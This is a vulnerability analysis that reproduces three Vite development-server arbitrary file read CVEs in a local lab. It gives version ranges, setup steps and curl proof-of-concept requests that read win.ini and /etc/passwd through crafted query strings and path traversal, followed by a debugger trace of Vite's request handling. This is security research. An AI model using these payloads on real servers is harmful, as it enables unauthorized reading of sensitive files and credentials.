
Analysis of the Reproduction of CVE-2025-30208 Series Vulnerabilities
CVE-2025-30208, CVE-2025-31125 and CVE-2025-31486 are arbitrary file reading vulnerabilities in the Vite development server. These vulnerabilities allow an attacker to bypass access controls through specific URL parameters and read sensitive files on the server via the fs module. The three vulnerabilities can be considered a series because their root causes are very similar.
The affected versions for CVE-2025-30208 are:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
The affected versions for CVE-2025-31125 are:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
The affected versions for CVE-2025-31486 are:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
To set up the vulnerable environment locally from scratch, first create a project via create-vite:
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
The Vite version in the generated package.json may include a ^ symbol (e.g. "vite": "^6.2.0"). Manually modify it to an exact version (e.g. "vite": "6.2.0"), then execute:
npm install
Finally, start the environment:
npm run dev
Alternatively, you can directly use the vuln-env folder under this repository, run npm install and then npm run dev.
For convenience, all three vulnerabilities were reproduced in version 6.2.0. Execute npm run dev and wait for the environment to start.

CVE-2025-30208 POC:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
The read content is base64 encoded; after decoding, the original file content can be obtained.

CVE-2025-31486 POC:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
The POC using a relative path mentioned in the advisory is as follows:
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Where x represents the local project path. The test POC locally:
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
It can be seen that the POCs are basically divided into two categories: those that do not require an HTTP Header all contain ?import&. This will be temporarily set aside and explained in the source code analysis section.
Debugging the source code requires debugging. Here we debug the project via VSCode. The content of the launch.json file is as follows:
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Based on the official fix, the transformMiddleware function's if statements for URL format checking and determining whether the service can be accessed were enhanced. So set a breakpoint in the transformMiddleware function and follow the request parsing process.

Because the created project only contains compiled JS files, directly search the entire file for the function keyword and add a breakpoint.

Execute the POC, successfully breaking in the target function. It can be seen that after some variable assignments, the call enters the viteTransformMiddleware function. After checking whether the request method is GET and whether the request is for the root directory or icon, the URL has its trailing ? removed via removeTimestampQuery:
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
cleanUrl() is used to obtain the URL without query parameters. At this point, withoutQuery has the value "/@fs/c:/windows/win.ini", so it does not enter the if (!isSourceMap) code block. Then publicDirInRoot checks whether the static assets directory is configured under the project root, and url.startsWith(publicPath) checks whether the requested URL starts with the configured public path (e.g., /public/). When both conditions are met, warnAboutExplicitPublicPathInUrl(url) is called to issue a warning. This usually indicates that the developer may have incorrectly added the public path repeatedly in the code. The URL does not meet the condition, so this code block is also skipped. Both rawRE.test(url) and urlRE.test(url) return false, so ensureServingAccess() is not evaluated, the logical expression result is set to false, and the code block is skipped. In the subsequent if statement, the URL matches the regex defined by ImportQueryRE and enters the if block content. The URL is changed to /@fs/c:/windows/win.ini?raw via removeImportQuery(), and then passed to the transformRequest() function:
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
In the if statement checking isJSRequest(url), it can be seen that it also checks whether the HTTP Header sec-fetch-dest value is script. If so, the check passes. This is the reason why the POCs mentioned earlier are divided into two categories: adding an HTTP Header and the ?import& are both meant to pass the if statement judgment. (In fact, other methods can also pass the check, such as through isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

After parameter processing, environment checks, cache key and duplicate request detection, it enters the doTransform() function.

After cache validity checking, the URL /@fs/c:/windows/win.ini?raw is parsed to obtain ID c:/windows/win.ini?raw, then enters the loadAndTransform() function.

Similarly, after some assignments, plugins are loaded based on the id value. The loading order is as follows:
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset
